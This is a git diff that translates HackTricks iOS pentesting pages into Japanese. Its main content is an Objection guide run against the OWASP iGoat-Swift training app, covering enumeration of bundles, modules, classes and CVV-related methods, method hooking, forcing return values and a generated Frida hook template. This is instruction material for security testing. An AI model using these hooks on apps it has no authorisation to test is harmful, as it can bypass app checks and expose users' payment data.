[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md b/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md index 0897be8aa..00db38135 100644 --- a/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md +++ b/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md @@ -1,290 +1,282 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-For this section the tool [**Objection**](https://github.com/sensepost/objection) is going to be used.\ -Start by getting an objection's session executing something like: - +このセクションでは、[**Objection**](https://github.com/sensepost/objection)というツールを使用します。\ +まず、以下のようにObjectionのセッションを取得します。 ```bash objection -d --gadget "iGoat-Swift" explore objection -d --gadget "OWASP.iGoat-Swift" explore ``` +`frida-ps -Uia`を実行して、電話の実行中のプロセスを確認することもできます。 -You can execute also `frida-ps -Uia` to check the running processes of the phone. +# アプリの基本的な列挙 -# Basic Enumeration of the app +## ローカルアプリのパス -## Local App Paths +* `env`: デバイス内のアプリが格納されているパスを見つける -* `env`: Find the paths where the application is stored inside the device +```bash +env - ```bash - env +Name Path +----------------- ----------------------------------------------------------------------------------------------- +BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app +CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches +DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents +LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library +``` - Name Path - ----------------- ----------------------------------------------------------------------------------------------- - BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app - CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches - DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents - LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library - ``` +## バンドル、フレームワーク、ライブラリの一覧 -## List Bundles, frameworks and libraries +* `ios bundles list_bundles`: アプリのバンドルの一覧を表示する -* `ios bundles list_bundles`: List bundles of the application +```bash +ios bundles list_bundles +Executable Bundle Version Path +------------ -------------------- --------- ------------------------------------------- +iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app +AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle +``` +* `ios bundles list_frameworks`: アプリで使用されている外部フレームワークの一覧を表示する - ```bash - ios bundles list_bundles - Executable Bundle Version Path - ------------ -------------------- --------- ------------------------------------------- - iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app - AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle - ``` -* `ios bundles list_frameworks`: List external frameworks used by the application +```bash +ios bundles list_frameworks +Executable Bundle Version Path +------------------------------ -------------------------------------------- ---------- ------------------------------------------- +ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework +...vateFrameworks/CoreDuetContext.framework +FBReactNativeSpec org.cocoapods.FBReactNativeSpec 0.61.5 ...p/Frameworks/FBReactNativeSpec.framework +...ystem/Library/Frameworks/IOKit.framework +RCTAnimation org.cocoapods.RCTAnimation 0.61.5 ...le.app/Frameworks/RCTAnimation.framework +jsinspector org.cocoapods.jsinspector 0.61.5 ...tle.app/Frameworks/jsinspector.framework +DoubleConversion org.cocoapods.DoubleConversion 1.1.6 ...pp/Frameworks/DoubleConversion.framework +react_native_config org.cocoapods.react-native-config 0.12.0 ...Frameworks/react_native_config.framework +react_native_netinfo org.cocoapods.react-native-netinfo 4.4.0 ...rameworks/react_native_netinfo.framework +PureLayout org.cocoapods.PureLayout 3.1.5 ...ttle.app/Frameworks/PureLayout.framework +GoogleUtilities org.cocoapods.GoogleUtilities 6.6.0 ...app/Frameworks/GoogleUtilities.framework +RCTNetwork org.cocoapods.RCTNetwork 0.61.5 ...ttle.app/Frameworks/RCTNetwork.framework +RCTActionSheet org.cocoapods.RCTActionSheet 0.61.5 ....app/Frameworks/RCTActionSheet.framework +react_native_image_editor org.cocoapods.react-native-image-editor 2.1.0 ...orks/react_native_image_editor.framework +CoreModules org.cocoapods.CoreModules 0.61.5 ...tle.app/Frameworks/CoreModules.framework +RCTVibration org.cocoapods.RCTVibration 0.61.5 ...le.app/Frameworks/RCTVibration.framework +RNGestureHandler org.cocoapods.RNGestureHandler 1.6.1 ...pp/Frameworks/RNGestureHandler.framework +RNCClipboard org.cocoapods.RNCClipboard 1.5.1 ...le.app/Frameworks/RNCClipboard.framework +react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework +[..] +``` +* `memory list modules`: メモリにロードされたモジュールの一覧を表示する - ```bash - ios bundles list_frameworks - Executable Bundle Version Path - ------------------------------ -------------------------------------------- ---------- ------------------------------------------- - ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework - ...vateFrameworks/CoreDuetContext.framework - FBReactNativeSpec org.cocoapods.FBReactNativeSpec 0.61.5 ...p/Frameworks/FBReactNativeSpec.framework - ...ystem/Library/Frameworks/IOKit.framework - RCTAnimation org.cocoapods.RCTAnimation 0.61.5 ...le.app/Frameworks/RCTAnimation.framework - jsinspector org.cocoapods.jsinspector 0.61.5 ...tle.app/Frameworks/jsinspector.framework - DoubleConversion org.cocoapods.DoubleConversion 1.1.6 ...pp/Frameworks/DoubleConversion.framework - react_native_config org.cocoapods.react-native-config 0.12.0 ...Frameworks/react_native_config.framework - react_native_netinfo org.cocoapods.react-native-netinfo 4.4.0 ...rameworks/react_native_netinfo.framework - PureLayout org.cocoapods.PureLayout 3.1.5 ...ttle.app/Frameworks/PureLayout.framework - GoogleUtilities org.cocoapods.GoogleUtilities 6.6.0 ...app/Frameworks/GoogleUtilities.framework - RCTNetwork org.cocoapods.RCTNetwork 0.61.5 ...ttle.app/Frameworks/RCTNetwork.framework - RCTActionSheet org.cocoapods.RCTActionSheet 0.61.5 ....app/Frameworks/RCTActionSheet.framework - react_native_image_editor org.cocoapods.react-native-image-editor 2.1.0 ...orks/react_native_image_editor.framework - CoreModules org.cocoapods.CoreModules 0.61.5 ...tle.app/Frameworks/CoreModules.framework - RCTVibration org.cocoapods.RCTVibration 0.61.5 ...le.app/Frameworks/RCTVibration.framework - RNGestureHandler org.cocoapods.RNGestureHandler 1.6.1 ...pp/Frameworks/RNGestureHandler.framework - RNCClipboard org.cocoapods.RNCClipboard 1.5.1 ...le.app/Frameworks/RNCClipboard.framework - react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework - [..] - ``` -* `memory list modules`: List loaded modules in memory +```bash +memory list modules +Name Base Size Path +----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------ +iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54... +SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib +SystemConfiguration 0x1aa842000 495616 (484.0 KiB) /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguratio... +libc++.1.dylib 0x1bdcfd000 368640 (360.0 KiB) /usr/lib/libc++.1.dylib +libz.1.dylib 0x1efd3c000 73728 (72.0 KiB) /usr/lib/libz.1.dylib +libsqlite3.dylib 0x1c267f000 1585152 (1.5 MiB) /usr/lib/libsqlite3.dylib +Foundation 0x1ab550000 2732032 (2.6 MiB) /System/Library/Frameworks/Foundation.framework/Foundation +libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib +[...] +``` +* `memory list exports `: ロードされたモジュールのエクスポートを表示する - ```bash - memory list modules - Name Base Size Path - ----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------ - iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54... - SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib - SystemConfiguration 0x1aa842000 495616 (484.0 KiB) /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguratio... - libc++.1.dylib 0x1bdcfd000 368640 (360.0 KiB) /usr/lib/libc++.1.dylib - libz.1.dylib 0x1efd3c000 73728 (72.0 KiB) /usr/lib/libz.1.dylib - libsqlite3.dylib 0x1c267f000 1585152 (1.5 MiB) /usr/lib/libsqlite3.dylib - Foundation 0x1ab550000 2732032 (2.6 MiB) /System/Library/Frameworks/Foundation.framework/Foundation - libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib - [...] - ``` -* `memory list exports `: Exports of a loaded module +```bash +memory list exports iGoat-Swift +Type Name Address +-------- -------------------------------------------------------------------------------------------------------------------------------------- ----------- +variable _mh_execute_header 0x104ffc000 +function _mdictof 0x10516cb88 +function _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c +function _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4 +function _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8 +function _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c +function _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20 +function _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8 +function _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4 +function _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8 +function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8 +function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280 +variable _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0 +variable _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0 +## アプリのクラスのリスト - ```bash - memory list exports iGoat-Swift - Type Name Address - -------- -------------------------------------------------------------------------------------------------------------------------------------- ----------- - variable _mh_execute_header 0x104ffc000 - function _mdictof 0x10516cb88 - function _ZN9couchbase6differ10BaseDifferD2Ev 0x10516486c - function _ZN9couchbase6differ10BaseDifferD1Ev 0x1051648f4 - function _ZN9couchbase6differ10BaseDifferD0Ev 0x1051648f8 - function _ZN9couchbase6differ10BaseDiffer5setupEmm 0x10516490c - function _ZN9couchbase6differ10BaseDiffer11allocStripeEmm 0x105164a20 - function _ZN9couchbase6differ10BaseDiffer7computeEmmj 0x105164ad8 - function _ZN9couchbase6differ10BaseDiffer7changesEv 0x105164de4 - function _ZN9couchbase6differ10BaseDiffer9addChangeENS0_6ChangeE 0x105164fa8 - function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS0_6ChangeE 0x1051651d8 - function _ZN9couchbase6differlsERNSt3__113basic_ostreamIcNS1_11char_traitsIcEEEERKNS1_6vectorINS0_6ChangeENS1_9allocatorIS8_EEEE 0x105165280 - variable _ZTSN9couchbase6differ10BaseDifferE 0x1051d94f0 - variable _ZTVN9couchbase6differ10BaseDifferE 0x10523c0a0 - variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8 - [..] - ``` +* `ios hooking list classes`: アプリのクラスのリストを表示します -## List classes of an APP +```bash +ios hooking list classes -* `ios hooking list classes`: List classes of the app +AAAbsintheContext +AAAbsintheSigner +AAAbsintheSignerContextCache +AAAcceptedTermsController +AAAccount +AAAccountManagementUIResponse +AAAccountManager +AAAddEmailUIRequest +AAAppleIDSettingsRequest +AAAppleTVRequest +AAAttestationSigner +[...] +``` - ```bash - ios hooking list classes +* `ios hooking search classes `: 文字列を含むクラスを検索します。例では、メインのアプリパッケージ名に関連する一意の用語を検索して、アプリのメインクラスを見つけることができます。 - AAAbsintheContext - AAAbsintheSigner - AAAbsintheSignerContextCache - AAAcceptedTermsController - AAAccount - AAAccountManagementUIResponse - AAAccountManager - AAAddEmailUIRequest - AAAppleIDSettingsRequest - AAAppleTVRequest - AAAttestationSigner - [...] - ``` -* `ios hooking search classes `: Search a class that contains a string. You can **search some uniq term that is related to the main app package** name to find the main classes of the app like in the example: +```bash +ios hooking search classes iGoat +iGoat_Swift.CoreDataHelper +iGoat_Swift.RCreditInfo +iGoat_Swift.SideContainmentSegue +iGoat_Swift.CenterContainmentSegue +iGoat_Swift.KeyStorageServerSideVC +iGoat_Swift.HintVC +iGoat_Swift.BinaryCookiesExerciseVC +iGoat_Swift.ExerciseDemoVC +iGoat_Swift.PlistStorageExerciseViewController +iGoat_Swift.CouchBaseExerciseVC +iGoat_Swift.MemoryManagementVC +[...] +``` - ```bash - ios hooking search classes iGoat - iGoat_Swift.CoreDataHelper - iGoat_Swift.RCreditInfo - iGoat_Swift.SideContainmentSegue - iGoat_Swift.CenterContainmentSegue - iGoat_Swift.KeyStorageServerSideVC - iGoat_Swift.HintVC - iGoat_Swift.BinaryCookiesExerciseVC - iGoat_Swift.ExerciseDemoVC - iGoat_Swift.PlistStorageExerciseViewController - iGoat_Swift.CouchBaseExerciseVC - iGoat_Swift.MemoryManagementVC - [...] - ``` +## クラスのメソッドのリスト -## List class methods +* `ios hooking list class_methods`: 特定のクラスのメソッドのリストを表示します -* `ios hooking list class_methods`: List methods of a specific class +```bash +ios hooking list class_methods iGoat_Swift.RCreditInfo +- cvv +- setCvv: +- setName: +- .cxx_destruct +- name +- cardNumber +- init +- initWithValue: +- setCardNumber: +``` - ```bash - ios hooking list class_methods iGoat_Swift.RCreditInfo - - cvv - - setCvv: - - setName: - - .cxx_destruct - - name - - cardNumber - - init - - initWithValue: - - setCardNumber: - ``` -* `ios hooking search methods `: Search a method that contains a string +* `ios hooking search methods `: 文字列を含むメソッドを検索します - ```bash - ios hooking search methods cvv - [AMSFinanceVerifyPurchaseResponse + _dialogRequestForCVVFromPayload:verifyType:] - [AMSFinanceVerifyPurchaseResponse - _handleCVVDialogResult:shouldReattempt:] - [AMSFinanceVerifyPurchaseResponse - _runCVVRequestForCode:error:] - [iGoat_Swift.RCreditInfo - cvv] - [iGoat_Swift.RCreditInfo - setCvv:] - [iGoat_Swift.RealmExerciseVC - creditCVVTextField] - [iGoat_Swift.RealmExerciseVC - setCreditCVVTextField:] - [iGoat_Swift.DeviceLogsExerciseVC - cvvTextField] - [iGoat_Swift.DeviceLogsExerciseVC - setCvvTextField:] - [iGoat_Swift.CloudMisconfigurationExerciseVC - cvvTxtField] - [iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:] - ``` +```bash +ios hooking search methods cvv +[AMSFinanceVerifyPurchaseResponse + _dialogRequestForCVVFromPayload:verifyType:] +[AMSFinanceVerifyPurchaseResponse - _handleCVVDialogResult:shouldReattempt:] +[AMSFinanceVerifyPurchaseResponse - _runCVVRequestForCode:error:] +[iGoat_Swift.RCreditInfo - cvv] +[iGoat_Swift.RCreditInfo - setCvv:] +[iGoat_Swift.RealmExerciseVC - creditCVVTextField] +[iGoat_Swift.RealmExerciseVC - setCreditCVVTextField:] +[iGoat_Swift.DeviceLogsExerciseVC - cvvTextField] +[iGoat_Swift.DeviceLogsExerciseVC - setCvvTextField:] +[iGoat_Swift.CloudMisconfigurationExerciseVC - cvvTxtField] +[iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:] +``` -# Basic Hooking +# 基本的なフック -Now that you have **enumerated the classes and modules** used by the application you may have found some **interesting class and method names**. +アプリケーションで使用されるクラスとモジュールを列挙したので、いくつかの興味深いクラスとメソッド名を見つけることができました。 -## Hook all methods of a class +## クラスのすべてのメソッドをフックする -* `ios hooking watch class `: Hook all the methods of a class, dump all the initial parameters and returns +* `ios hooking watch class `: クラスのすべてのメソッドをフックし、メソッドが呼び出されるたびにすべての初期パラメータと戻り値をダンプします - ```bash - ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController - ``` +```bash +ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController +``` -## Hook a single method +## 単一のメソッドをフックする -* `ios hooking watch method "-[ ]" --dump-args --dump-return --dump-backtrace`: Hook an specific method of a class dumping the parameters, backtraces and returns of the method each time it's called +* `ios hooking watch method "-[ ]" --dump-args --dump-return --dump-backtrace`: 特定のクラスの特定のメソッドをフックし、メソッドが呼び出されるたびにパラメータ、バックトレース、および戻り値をダンプします - ```bash - ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return - ``` +```bash +ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return +``` -## Change Boolean Return +## ブール値の返り値を変更する -* `ios hooking set return_value "-[ ]" false`: This will make the selected method return the indicated boolean +* `ios hooking set return_value "-[ ]" false`: 選択したメソッドが指定されたブール値を返すようにします - ```bash - ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false - ``` +```bash +ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false +``` -## Generate hooking template +## フックテンプレートの生成 -* `ios hooking generate simple `: +* `ios hooking generate simple `: - ```bash - ios hooking generate simple iGoat_Swift.RCreditInfo +```bash +ios hooking generate simple iGoat_Swift.RCreditInfo - var target = ObjC.classes.iGoat_Swift.RCreditInfo; +var target = ObjC.classes.iGoat_Swift.RCreditInfo; - Interceptor.attach(target['+ sharedSchema'].implementation, { - onEnter: function (args) { - console.log('Entering + sharedSchema!'); - }, - onLeave: function (retval) { - console.log('Leaving + sharedSchema'); - }, - }); +Interceptor.attach(target['+ sharedSchema'].implementation, { +onEnter: function (args) { +console.log('Entering + sharedSchema!'); +}, +onLeave: function (retval) { +console.log('Leaving + sharedSchema'); +}, +}); - Interceptor.attach(target['+ className'].implementation, { - onEnter: function (args) { - console.log('Entering + className!'); - }, - onLeave: function (retval) { - console.log('Leaving + className'); - }, - }); +Interceptor.attach(target['+ className'].implementation, { +onEnter: function (args) { +console.log('Entering + className!'); +}, +onLeave: function (retval) { +console.log('Leaving + className'); +}, +}); - Interceptor.attach(target['- cvv'].implementation, { - onEnter: function (args) { - console.log('Entering - cvv!'); - }, - onLeave: function (retval) { - console.log('Leaving - cvv'); - }, - }); +Interceptor.attach(target['- cvv'].implementation, { +onEnter: function (args) { +console.log('Entering - cvv!'); +}, +onLeave: function (retval) { +console.log('Leaving - cvv'); +}, +}); - Interceptor.attach(target['- setCvv:'].implementation, { - onEnter: function (args) { - console.log('Entering - setCvv:!'); - }, - onLeave: function (retval) { - console.log('Leaving - setCvv:'); - }, - }); - ``` +Interceptor.attach(target['- setCvv:'].implementation, { +onEnter: function (args) { +console.log('Entering - setCvv:!'); +}, +onLeave: function (retval) { +console.log('Leaving - setCvv:'); +}, +}); +```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスウェット**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)または[telegramグループ](https://t.me/peass)に参加するか、**Twitter** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
- - diff --git a/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md b/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md index 36699cf48..e403e1e81 100644 --- a/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md +++ b/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md @@ -1,42 +1,34 @@ +
+☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! + +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 + +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 + +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
+ + +# WebViewプロトコルハンドラー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - -# WebView Protocol Handlers - - - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md index 27e535f7e..b5884560f 100644 --- a/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md +++ b/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md @@ -1,88 +1,77 @@ - -
